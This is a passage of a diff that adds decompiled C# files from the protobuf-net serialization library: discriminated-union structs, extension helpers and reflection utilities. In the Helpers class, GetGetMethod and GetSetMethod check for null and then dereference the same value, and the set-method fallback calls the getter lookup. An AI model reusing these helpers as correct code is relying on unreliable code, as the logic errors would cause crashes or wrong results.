: this(discriminator)
{
Int64 = value;
}
public DiscriminatedUnion64Object(int discriminator, int value)
: this(discriminator)
{
Int32 = value;
}
public DiscriminatedUnion64Object(int discriminator, ulong value)
: this(discriminator)
{
UInt64 = value;
}
public DiscriminatedUnion64Object(int discriminator, uint value)
: this(discriminator)
{
UInt32 = value;
}
public DiscriminatedUnion64Object(int discriminator, float value)
: this(discriminator)
{
Single = value;
}
public DiscriminatedUnion64Object(int discriminator, double value)
: this(discriminator)
{
Double = value;
}
public DiscriminatedUnion64Object(int discriminator, bool value)
: this(discriminator)
{
Boolean = value;
}
public DiscriminatedUnion64Object(int discriminator, object value)
: this((value != null) ? discriminator : 0)
{
Object = value;
}
public DiscriminatedUnion64Object(int discriminator, DateTime? value)
: this(value.HasValue ? discriminator : 0)
{
DateTime = value.GetValueOrDefault();
}
public DiscriminatedUnion64Object(int discriminator, TimeSpan? value)
: this(value.HasValue ? discriminator : 0)
{
TimeSpan = value.GetValueOrDefault();
}
public static void Reset(ref DiscriminatedUnion64Object value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnion64Object);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (_discriminator != 0)
{
info.AddValue("d", _discriminator);
}
if (Int64 != 0L)
{
info.AddValue("i", Int64);
}
if (Object != null)
{
info.AddValue("o", Object);
}
}
private DiscriminatedUnion64Object(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnion64Object);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
switch (current.Name)
{
case "d":
_discriminator = (int)current.Value;
break;
case "i":
Int64 = (long)current.Value;
break;
case "o":
Object = current.Value;
break;
}
}
}
}
@@ -0,0 +1,65 @@
using System;
using System.Runtime.Serialization;
namespace ProtoBuf;
[Serializable]
public readonly struct DiscriminatedUnionObject : ISerializable
{
public readonly object Object;
public int Discriminator { get; }
public bool Is(int discriminator)
{
return Discriminator == discriminator;
}
public DiscriminatedUnionObject(int discriminator, object value)
{
Discriminator = discriminator;
Object = value;
}
public static void Reset(ref DiscriminatedUnionObject value, int discriminator)
{
if (value.Discriminator == discriminator)
{
value = default(DiscriminatedUnionObject);
}
}
void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
{
if (Discriminator != 0)
{
info.AddValue("d", Discriminator);
}
if (Object != null)
{
info.AddValue("o", Object);
}
}
private DiscriminatedUnionObject(SerializationInfo info, StreamingContext context)
{
this = default(DiscriminatedUnionObject);
SerializationInfoEnumerator enumerator = info.GetEnumerator();
while (enumerator.MoveNext())
{
SerializationEntry current = enumerator.Current;
string name = current.Name;
if (!(name == "d"))
{
if (name == "o")
{
Object = current.Value;
}
}
else
{
Discriminator = (int)current.Value;
}
}
}
}
@@ -0,0 +1,105 @@
using System;
using System.Collections;
using System.Collections.Generic;
using ProtoBuf.Meta;
namespace ProtoBuf;
public abstract class Extensible : IExtensible
{
private IExtension extensionObject;
IExtension IExtensible.GetExtensionObject(bool createIfMissing)
{
return GetExtensionObject(createIfMissing);
}
protected virtual IExtension GetExtensionObject(bool createIfMissing)
{
return GetExtensionObject(ref extensionObject, createIfMissing);
}
public static IExtension GetExtensionObject(ref IExtension extensionObject, bool createIfMissing)
{
if (createIfMissing && extensionObject == null)
{
extensionObject = new BufferExtension();
}
return extensionObject;
}
public static void AppendValue<TValue>(IExtensible instance, int tag, TValue value)
{
AppendValue(instance, tag, DataFormat.Default, value);
}
public static void AppendValue<TValue>(IExtensible instance, int tag, DataFormat format, TValue value)
{
ExtensibleUtil.AppendExtendValue(RuntimeTypeModel.Default, instance, tag, format, value);
}
public static TValue GetValue<TValue>(IExtensible instance, int tag)
{
return GetValue<TValue>(instance, tag, DataFormat.Default);
}
public static TValue GetValue<TValue>(IExtensible instance, int tag, DataFormat format)
{
TryGetValue<TValue>(instance, tag, format, out var value);
return value;
}
public static bool TryGetValue<TValue>(IExtensible instance, int tag, out TValue value)
{
return TryGetValue<TValue>(instance, tag, DataFormat.Default, out value);
}
public static bool TryGetValue<TValue>(IExtensible instance, int tag, DataFormat format, out TValue value)
{
return TryGetValue<TValue>(instance, tag, format, allowDefinedTag: false, out value);
}
public static bool TryGetValue<TValue>(IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, out TValue value)
{
value = default(TValue);
bool result = false;
foreach (TValue extendedValue in ExtensibleUtil.GetExtendedValues<TValue>(instance, tag, format, singleton: true, allowDefinedTag))
{
value = extendedValue;
result = true;
}
return result;
}
public static IEnumerable<TValue> GetValues<TValue>(IExtensible instance, int tag)
{
return ExtensibleUtil.GetExtendedValues<TValue>(instance, tag, DataFormat.Default, singleton: false, allowDefinedTag: false);
}
public static IEnumerable<TValue> GetValues<TValue>(IExtensible instance, int tag, DataFormat format)
{
return ExtensibleUtil.GetExtendedValues<TValue>(instance, tag, format, singleton: false, allowDefinedTag: false);
}
public static bool TryGetValue(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, out object value)
{
value = null;
bool result = false;
foreach (object extendedValue in ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, singleton: true, allowDefinedTag))
{
value = extendedValue;
result = true;
}
return result;
}
public static IEnumerable GetValues(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format)
{
return ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, singleton: false, allowDefinedTag: false);
}
public static void AppendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, object value)
{
ExtensibleUtil.AppendExtendValue(model, instance, tag, format, value);
}
}
@@ -0,0 +1,92 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using ProtoBuf.Meta;
namespace ProtoBuf;
internal static class ExtensibleUtil
{
internal static IEnumerable<TValue> GetExtendedValues<TValue>(IExtensible instance, int tag, DataFormat format, bool singleton, bool allowDefinedTag)
{
foreach (TValue extendedValue in GetExtendedValues(RuntimeTypeModel.Default, typeof(TValue), instance, tag, format, singleton, allowDefinedTag))
{
yield return extendedValue;
}
}
internal static IEnumerable GetExtendedValues(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format, bool singleton, bool allowDefinedTag)
{
if (instance == null)
{
throw new ArgumentNullException("instance");
}
if (tag <= 0)
{
throw new ArgumentOutOfRangeException("tag");
}
IExtension extn = instance.GetExtensionObject(createIfMissing: false);
if (extn == null)
{
yield break;
}
Stream stream = extn.BeginQuery();
object value = null;
ProtoReader reader = null;
try
{
SerializationContext context = new SerializationContext();
reader = ProtoReader.Create(stream, model, context, -1L);
while (model.TryDeserializeAuxiliaryType(reader, format, tag, type, ref value, skipOtherFields: true, asListItem: true, autoCreate: false, insideList: false, null) && value != null)
{
if (!singleton)
{
yield return value;
value = null;
}
}
if (singleton && value != null)
{
yield return value;
}
}
finally
{
ProtoReader.Recycle(reader);
extn.EndQuery(stream);
}
}
internal static void AppendExtendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, object value)
{
if (instance == null)
{
throw new ArgumentNullException("instance");
}
if (value == null)
{
throw new ArgumentNullException("value");
}
IExtension extensionObject = instance.GetExtensionObject(createIfMissing: true);
if (extensionObject == null)
{
throw new InvalidOperationException("No extension object available; appended data would be lost.");
}
bool commit = false;
Stream stream = extensionObject.BeginAppend();
try
{
using (ProtoWriter protoWriter = ProtoWriter.Create(stream, model))
{
model.TrySerializeAuxiliaryType(protoWriter, null, format, tag, value, isInsideList: false, null);
protoWriter.Close();
}
commit = true;
}
finally
{
extensionObject.EndAppend(stream, commit);
}
}
}
@@ -0,0 +1,267 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
namespace ProtoBuf;
internal sealed class Helpers
{
public static readonly Type[] EmptyTypes = Type.EmptyTypes;
private Helpers()
{
}
public static StringBuilder AppendLine(StringBuilder builder)
{
return builder.AppendLine();
}
[Conditional("DEBUG")]
public static void DebugWriteLine(string message, object obj)
{
}
[Conditional("DEBUG")]
public static void DebugWriteLine(string message)
{
}
[Conditional("TRACE")]
public static void TraceWriteLine(string message)
{
}
[Conditional("DEBUG")]
public static void DebugAssert(bool condition, string message)
{
}
[Conditional("DEBUG")]
public static void DebugAssert(bool condition, string message, params object[] args)
{
}
[Conditional("DEBUG")]
public static void DebugAssert(bool condition)
{
}
public static void Sort(int[] keys, object[] values)
{
bool flag;
do
{
flag = false;
for (int i = 1; i < keys.Length; i++)
{
if (keys[i - 1] > keys[i])
{
int num = keys[i];
keys[i] = keys[i - 1];
keys[i - 1] = num;
object obj = values[i];
values[i] = values[i - 1];
values[i - 1] = obj;
flag = true;
}
}
}
while (flag);
}
internal static MethodInfo GetInstanceMethod(Type declaringType, string name)
{
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
}
internal static MethodInfo GetStaticMethod(Type declaringType, string name)
{
return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
}
internal static MethodInfo GetStaticMethod(Type declaringType, string name, Type[] parameterTypes)
{
return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic, null, parameterTypes, null);
}
internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types)
{
if (types == null)
{
types = EmptyTypes;
}
return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, types, null);
}
internal static bool IsSubclassOf(Type type, Type baseClass)
{
return type.IsSubclassOf(baseClass);
}
public static ProtoTypeCode GetTypeCode(Type type)
{
TypeCode typeCode = Type.GetTypeCode(type);
switch (typeCode)
{
case TypeCode.Empty:
case TypeCode.Boolean:
case TypeCode.Char:
case TypeCode.SByte:
case TypeCode.Byte:
case TypeCode.Int16:
case TypeCode.UInt16:
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Single:
case TypeCode.Double:
case TypeCode.Decimal:
case TypeCode.DateTime:
case TypeCode.String:
return (ProtoTypeCode)typeCode;
default:
if ((object)type == typeof(TimeSpan))
{
return ProtoTypeCode.TimeSpan;
}
if ((object)type == typeof(Guid))
{
return ProtoTypeCode.Guid;
}
if ((object)type == typeof(Uri))
{
return ProtoTypeCode.Uri;
}
if ((object)type == typeof(byte[]))
{
return ProtoTypeCode.ByteArray;
}
if ((object)type == typeof(Type))
{
return ProtoTypeCode.Type;
}
return ProtoTypeCode.Unknown;
}
}
internal static Type GetUnderlyingType(Type type)
{
return Nullable.GetUnderlyingType(type);
}
internal static bool IsValueType(Type type)
{
return type.IsValueType;
}
internal static bool IsSealed(Type type)
{
return type.IsSealed;
}
internal static bool IsClass(Type type)
{
return type.IsClass;
}
internal static bool IsEnum(Type type)
{
return type.IsEnum;
}
internal static MethodInfo GetGetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
{
if ((object)property == null)
{
return null;
}
MethodInfo methodInfo = property.GetGetMethod(nonPublic);
if ((object)methodInfo == null && !nonPublic && allowInternal)
{
methodInfo = property.GetGetMethod(nonPublic: true);
if ((object)methodInfo == null && !methodInfo.IsAssembly && !methodInfo.IsFamilyOrAssembly)
{
methodInfo = null;
}
}
return methodInfo;
}
internal static MethodInfo GetSetMethod(PropertyInfo property, bool nonPublic, bool allowInternal)
{
if ((object)property == null)
{
return null;
}
MethodInfo methodInfo = property.GetSetMethod(nonPublic);
if ((object)methodInfo == null && !nonPublic && allowInternal)
{
methodInfo = property.GetGetMethod(nonPublic: true);
if ((object)methodInfo == null && !methodInfo.IsAssembly && !methodInfo.IsFamilyOrAssembly)
{
methodInfo = null;
}
}
return methodInfo;
}
internal static ConstructorInfo GetConstructor(Type type, Type[] parameterTypes, bool nonPublic)
{
return type.GetConstructor(nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public), null, parameterTypes, null);
}
internal static ConstructorInfo[] GetConstructors(Type type, bool nonPublic)
{
return type.GetConstructors(nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public));
}
internal static PropertyInfo GetProperty(Type type, string name, bool nonPublic)
{
return type.GetProperty(name, nonPublic ? (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic) : (BindingFlags.Instance | BindingFlags.Public));
}
internal static object ParseEnum(Type type, string value)
{
return Enum.Parse(type, value, ignoreCase: true);
}
internal static MemberInfo[] GetInstanceFieldsAndProperties(Type type, bool publicOnly)
{
BindingFlags bindingAttr = (publicOnly ? (BindingFlags.Instance | BindingFlags.Public) : (BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic));
PropertyInfo[] properties = type.GetProperties(bindingAttr);
FieldInfo[] fields = type.GetFields(bindingAttr);
MemberInfo[] array = new MemberInfo[fields.Length + properties.Length];
properties.CopyTo(array, 0);
fields.CopyTo(array, properties.Length);
return array;
}
internal static Type GetMemberType(MemberInfo member)
{
return member.MemberType switch
{
MemberTypes.Field => ((FieldInfo)member).FieldType,
MemberTypes.Property => ((PropertyInfo)member).PropertyType,
_ => null,
};
}
internal static bool IsAssignableFrom(Type target, Type type)
{
return target.IsAssignableFrom(type);
}
internal static Assembly GetAssembly(Type type)
{
return type.Assembly;
}
internal static byte[] GetBuffer(MemoryStream ms)
{
return ms.GetBuffer();
}
}
@@ -0,0 +1,6 @@
namespace ProtoBuf;
public interface IExtensible
{
IExtension GetExtensionObject(bool createIfMissing);
}

Some files were not shown because too many files have changed in this diff Show More